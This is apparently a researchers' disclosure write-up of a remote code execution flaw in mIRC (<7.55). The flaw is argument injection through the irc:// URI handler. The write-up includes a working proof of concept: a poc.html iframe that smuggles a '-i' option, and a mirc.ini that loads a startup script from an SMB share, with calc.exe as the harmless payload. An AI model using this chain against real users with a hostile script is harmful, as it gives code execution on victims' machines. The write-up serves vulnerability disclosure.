[Link to the advisory]
We found a Remote Code Execution vulnerability in mIRC through the irc:// URI protocol handler.
Earlier this year, we were reading about an article by ZDI discussing a string of vulnerabilities in Electron-based products related to the use of a custom URI scheme on Windows.
Using the task manager and the registry, we figured out that when one calls a program through a link such as discord://randomcmd
, "Discord.exe" --url -- "%1"
is executed, where %1
is replaced by randomcmd
. What is interesting is that, in some browsers, the link is not URL-encoded in any way/just partially encoded when opened, which makes it possible to inject parameters in the command.
Using Discord again, clicking on a link such as discord://?" -newparam="rdm
will result in the following command being executed: "Discord.exe" --url -- "?" -newparam="rdm"
. However, in the case of Discord, this is not exploitable as a sigil (--
) is used to prevent the parsing of more parameters in this case.
It is fairly obvious that while this vulnerability has been exposed for some Electron-based programs, it could actually be found in any program that uses custom URI schemes, so long as the links are not properly sanitized and the program provides dangerous parameters. With that in mind, we decided to make a list of all the custom URI schemes available in our registries, filtering the properly sanitized ones, and we stumbled upon the mIRC schemes (irc:
, ircs:
and mircurl:
), that were associated with the following command: "C:\Program Files (x86)\mIRC\mirc.exe" %1
. Because mIRC doesn't use any kind of sigil such as --
to mark the end of the argument list, an attacker is able to pass arguments to mIRC through links opened by the program.
At this point, we read the documentation, and found out we could use the -i
option to load a custom configuration file. From experience, we knew that mIRC lets users run scripts on start-up (to automatically connect to a network, for example).
It's fairly easy to conclude that if we're able to use a configuration file of our choosing, we'll be able to gain RCE on the machine. The only issue left is to figure out how to force the victim to load a configuration file from a remote location; this can be achieved easily by using Remote shares, with a link like \\IPATTACKER\mount\mirc.ini
.
Now on to craft a proof of calc!
PoC
The proof of calc requires three files: mirc.ini, calc.ini and poc.html. We assume a Samba file server is running on the attacker's side. For the sake of the example, the following pieces of code assume it is running on host 127.0.0.1 (i.e. replace 127.0.0.1 by your own server's address in the following files to try this out).
mirc.ini
mirc.ini is a custom configuration file that should be located at C:\mirc-poc\mirc.ini on the file server.
[rfiles]
n2=\\127.0.0.1\C$\mirc-poc\calc.ini
calc.ini
calc.ini is a remote script file that should be located at C:\mirc-poc\calc.ini on the file server.
[script]
n0=on *:START: {
n1= /run calc.exe
n2=}
poc.html
Just visiting poc.html should work assuming mIRC is set as the default handler for the irc:// URI scheme and the browser does not encode the payload. Depending on the browser and your configuration, you might still get a prompt (not the case on Firefox).
<iframe src='irc://? -i\\127.0.0.1\C$\mirc-poc\mirc.ini' />
PoC gif
Affected versions
This PoC runs for mIRC <7.55.
You can trigger the PoC on Edge 42.17134 (last preview version) and Firefox 64.0.2 (last release). It doesn't work on Chrome because of the way Chrome handles URI protocols (URI is encoded before being passed to the application).
Authors
- Baptiste Devigne () and Benjamin Chetioui ()